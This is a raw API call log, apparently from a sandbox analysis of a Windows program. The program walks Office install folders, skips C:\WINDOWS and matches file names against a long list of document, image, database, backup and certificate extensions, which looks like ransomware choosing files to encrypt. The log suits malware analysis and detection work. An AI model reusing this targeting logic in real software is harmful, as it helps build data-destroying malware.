[0250.270] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 1 [0250.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared") returned 90 [0250.270] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared") returned 1 [0250.270] lstrlenW (lpString="Shared") returned 6 [0250.270] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Shared") returned -1 [0250.270] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41cde38 [0250.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared") returned 90 [0250.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa08 [0250.272] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.272] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0250.272] lstrlenW (lpString="msasxpress.dll") returned 14 [0250.272] lstrlenW (lpString=".1cd") returned 4 [0250.272] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.272] lstrlenW (lpString=".3ds") returned 4 [0250.272] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0250.272] lstrlenW (lpString=".3fr") returned 4 [0250.272] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0250.272] lstrlenW (lpString=".3g2") returned 4 [0250.272] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0250.272] lstrlenW (lpString=".3gp") returned 4 [0250.272] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0250.272] lstrlenW (lpString=".7z") returned 3 [0250.272] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.272] lstrlenW (lpString=".accda") returned 6 [0250.272] lstrcmpiW (lpString1=".accda", lpString2="ss.dll") returned -1 [0250.272] lstrlenW (lpString=".accdb") returned 6 [0250.272] lstrcmpiW (lpString1=".accdb", lpString2="ss.dll") returned -1 [0250.272] lstrlenW (lpString=".accdc") returned 6 [0250.272] lstrcmpiW (lpString1=".accdc", lpString2="ss.dll") returned -1 [0250.273] lstrlenW (lpString=".accde") returned 6 [0250.273] lstrcmpiW (lpString1=".accde", lpString2="ss.dll") returned -1 [0250.273] lstrlenW (lpString=".accdt") returned 6 [0250.273] lstrcmpiW (lpString1=".accdt", lpString2="ss.dll") returned -1 [0250.273] lstrlenW (lpString=".accdw") returned 6 [0250.273] lstrcmpiW (lpString1=".accdw", lpString2="ss.dll") returned -1 [0250.273] lstrlenW (lpString=".adb") returned 4 [0250.273] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".adp") returned 4 [0250.273] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".ai") returned 3 [0250.273] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0250.273] lstrlenW (lpString=".ai3") returned 4 [0250.273] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".ai4") returned 4 [0250.273] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".ai5") returned 4 [0250.273] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".ai6") returned 4 [0250.273] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".ai7") returned 4 [0250.273] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".ai8") returned 4 [0250.273] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0250.273] lstrlenW (lpString=".anim") returned 5 [0250.273] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0250.273] lstrlenW (lpString=".arw") returned 4 [0250.273] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".as") returned 3 [0250.274] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0250.274] lstrlenW (lpString=".asa") returned 4 [0250.274] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".asc") returned 4 [0250.274] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".ascx") returned 5 [0250.274] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0250.274] lstrlenW (lpString=".asm") returned 4 [0250.274] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".asmx") returned 5 [0250.274] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0250.274] lstrlenW (lpString=".asp") returned 4 [0250.274] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".aspx") returned 5 [0250.274] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0250.274] lstrlenW (lpString=".asr") returned 4 [0250.274] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".asx") returned 4 [0250.274] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".avi") returned 4 [0250.274] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".avs") returned 4 [0250.274] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0250.274] lstrlenW (lpString=".backup") returned 7 [0250.274] lstrcmpiW (lpString1=".backup", lpString2="ess.dll") returned -1 [0250.274] lstrlenW (lpString=".bak") returned 4 [0250.275] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".bay") returned 4 [0250.275] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".bd") returned 3 [0250.275] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0250.275] lstrlenW (lpString=".bin") returned 4 [0250.275] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".bmp") returned 4 [0250.275] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".bz2") returned 4 [0250.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".c") returned 2 [0250.275] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0250.275] lstrlenW (lpString=".cdr") returned 4 [0250.275] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".cer") returned 4 [0250.275] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".cf") returned 3 [0250.275] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0250.275] lstrlenW (lpString=".cfc") returned 4 [0250.275] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".cfm") returned 4 [0250.275] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0250.275] lstrlenW (lpString=".cfml") returned 5 [0250.275] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0250.275] lstrlenW (lpString=".cfu") returned 4 [0250.276] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".chm") returned 4 [0250.276] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".cin") returned 4 [0250.276] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".class") returned 6 [0250.276] lstrcmpiW (lpString1=".class", lpString2="ss.dll") returned -1 [0250.276] lstrlenW (lpString=".clx") returned 4 [0250.276] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".config") returned 7 [0250.276] lstrcmpiW (lpString1=".config", lpString2="ess.dll") returned -1 [0250.276] lstrlenW (lpString=".cpp") returned 4 [0250.276] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".cr2") returned 4 [0250.276] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".crt") returned 4 [0250.276] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".crw") returned 4 [0250.276] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".cs") returned 3 [0250.276] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0250.276] lstrlenW (lpString=".css") returned 4 [0250.276] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".csv") returned 4 [0250.276] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".cub") returned 4 [0250.276] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0250.276] lstrlenW (lpString=".dae") returned 4 [0250.277] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dat") returned 4 [0250.277] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".db") returned 3 [0250.277] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0250.277] lstrlenW (lpString=".dbf") returned 4 [0250.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dbx") returned 4 [0250.277] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dc3") returned 4 [0250.277] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dcm") returned 4 [0250.277] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dcr") returned 4 [0250.277] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".der") returned 4 [0250.277] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dib") returned 4 [0250.277] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dic") returned 4 [0250.277] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".dif") returned 4 [0250.277] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0250.277] lstrlenW (lpString=".divx") returned 5 [0250.277] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0250.277] lstrlenW (lpString=".djvu") returned 5 [0250.277] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0250.278] lstrlenW (lpString=".dng") returned 4 [0250.278] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".doc") returned 4 [0250.278] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".docm") returned 5 [0250.278] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0250.278] lstrlenW (lpString=".docx") returned 5 [0250.278] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0250.278] lstrlenW (lpString=".dot") returned 4 [0250.278] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".dotm") returned 5 [0250.278] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0250.278] lstrlenW (lpString=".dotx") returned 5 [0250.278] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0250.278] lstrlenW (lpString=".dpx") returned 4 [0250.278] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".dqy") returned 4 [0250.278] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".dsn") returned 4 [0250.278] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".dt") returned 3 [0250.278] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0250.278] lstrlenW (lpString=".dtd") returned 4 [0250.278] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".dwg") returned 4 [0250.278] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0250.278] lstrlenW (lpString=".dwt") returned 4 [0250.279] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".dx") returned 3 [0250.279] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0250.279] lstrlenW (lpString=".dxf") returned 4 [0250.279] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".edml") returned 5 [0250.279] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0250.279] lstrlenW (lpString=".efd") returned 4 [0250.279] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".elf") returned 4 [0250.279] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".emf") returned 4 [0250.279] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".emz") returned 4 [0250.279] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".epf") returned 4 [0250.279] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".eps") returned 4 [0250.279] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".epsf") returned 5 [0250.279] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0250.279] lstrlenW (lpString=".epsp") returned 5 [0250.279] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0250.279] lstrlenW (lpString=".erf") returned 4 [0250.279] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".exr") returned 4 [0250.279] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0250.279] lstrlenW (lpString=".f4v") returned 4 [0250.280] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".fido") returned 5 [0250.280] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0250.280] lstrlenW (lpString=".flm") returned 4 [0250.280] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".flv") returned 4 [0250.280] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".frm") returned 4 [0250.280] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".fxg") returned 4 [0250.280] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".geo") returned 4 [0250.280] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".gif") returned 4 [0250.280] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".grs") returned 4 [0250.280] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".gz") returned 3 [0250.280] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0250.280] lstrlenW (lpString=".h") returned 2 [0250.280] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0250.280] lstrlenW (lpString=".hdr") returned 4 [0250.280] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".hpp") returned 4 [0250.280] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0250.280] lstrlenW (lpString=".hta") returned 4 [0250.280] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".htc") returned 4 [0250.281] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".htm") returned 4 [0250.281] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".html") returned 5 [0250.281] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0250.281] lstrlenW (lpString=".icb") returned 4 [0250.281] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".ics") returned 4 [0250.281] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".iff") returned 4 [0250.281] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".inc") returned 4 [0250.281] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".indd") returned 5 [0250.281] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0250.281] lstrlenW (lpString=".ini") returned 4 [0250.281] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".iqy") returned 4 [0250.281] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".j2c") returned 4 [0250.281] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".j2k") returned 4 [0250.281] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0250.281] lstrlenW (lpString=".java") returned 5 [0250.281] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0250.281] lstrlenW (lpString=".jp2") returned 4 [0250.281] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".jpc") returned 4 [0250.282] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".jpe") returned 4 [0250.282] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".jpeg") returned 5 [0250.282] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0250.282] lstrlenW (lpString=".jpf") returned 4 [0250.282] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".jpg") returned 4 [0250.282] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".jpx") returned 4 [0250.282] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".js") returned 3 [0250.282] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0250.282] lstrlenW (lpString=".jsf") returned 4 [0250.282] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".json") returned 5 [0250.282] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0250.282] lstrlenW (lpString=".jsp") returned 4 [0250.282] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".kdc") returned 4 [0250.282] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".kmz") returned 4 [0250.282] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".kwm") returned 4 [0250.282] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0250.282] lstrlenW (lpString=".lasso") returned 6 [0250.282] lstrcmpiW (lpString1=".lasso", lpString2="ss.dll") returned -1 [0250.282] lstrlenW (lpString=".lbi") returned 4 [0250.283] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".lgf") returned 4 [0250.283] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".lgp") returned 4 [0250.283] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".log") returned 4 [0250.283] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".m1v") returned 4 [0250.283] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".m4a") returned 4 [0250.283] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".m4v") returned 4 [0250.283] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".max") returned 4 [0250.283] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".md") returned 3 [0250.283] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0250.283] lstrlenW (lpString=".mda") returned 4 [0250.283] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".mdb") returned 4 [0250.283] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".mde") returned 4 [0250.283] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".mdf") returned 4 [0250.283] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".mdw") returned 4 [0250.283] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0250.283] lstrlenW (lpString=".mef") returned 4 [0250.283] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mft") returned 4 [0250.284] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mfw") returned 4 [0250.284] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mht") returned 4 [0250.284] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mhtml") returned 6 [0250.284] lstrcmpiW (lpString1=".mhtml", lpString2="ss.dll") returned -1 [0250.284] lstrlenW (lpString=".mka") returned 4 [0250.284] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mkidx") returned 6 [0250.284] lstrcmpiW (lpString1=".mkidx", lpString2="ss.dll") returned -1 [0250.284] lstrlenW (lpString=".mkv") returned 4 [0250.284] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mos") returned 4 [0250.284] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mov") returned 4 [0250.284] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mp3") returned 4 [0250.284] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mp4") returned 4 [0250.284] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mpeg") returned 5 [0250.284] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0250.284] lstrlenW (lpString=".mpg") returned 4 [0250.284] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0250.284] lstrlenW (lpString=".mpv") returned 4 [0250.464] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0250.464] lstrlenW (lpString=".mrw") returned 4 [0250.464] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0250.464] lstrlenW (lpString=".msg") returned 4 [0250.464] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".mxl") returned 4 [0250.465] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".myd") returned 4 [0250.465] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".myi") returned 4 [0250.465] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".nef") returned 4 [0250.465] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".nrw") returned 4 [0250.465] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".obj") returned 4 [0250.465] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".odb") returned 4 [0250.465] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".odc") returned 4 [0250.465] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".odm") returned 4 [0250.465] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".odp") returned 4 [0250.465] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".ods") returned 4 [0250.465] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".oft") returned 4 [0250.465] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".one") returned 4 [0250.465] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0250.465] lstrlenW (lpString=".onepkg") returned 7 [0250.465] lstrcmpiW (lpString1=".onepkg", lpString2="ess.dll") returned -1 [0250.465] lstrlenW (lpString=".onetoc2") returned 8 [0250.465] lstrcmpiW (lpString1=".onetoc2", lpString2="ress.dll") returned -1 [0250.465] lstrlenW (lpString=".opt") returned 4 [0250.466] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".oqy") returned 4 [0250.466] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".orf") returned 4 [0250.466] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".p12") returned 4 [0250.466] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".p7b") returned 4 [0250.466] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".p7c") returned 4 [0250.466] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pam") returned 4 [0250.466] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pbm") returned 4 [0250.466] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pct") returned 4 [0250.466] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pcx") returned 4 [0250.466] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pdd") returned 4 [0250.466] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0250.466] lstrlenW (lpString=".pdf") returned 4 [0250.466] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 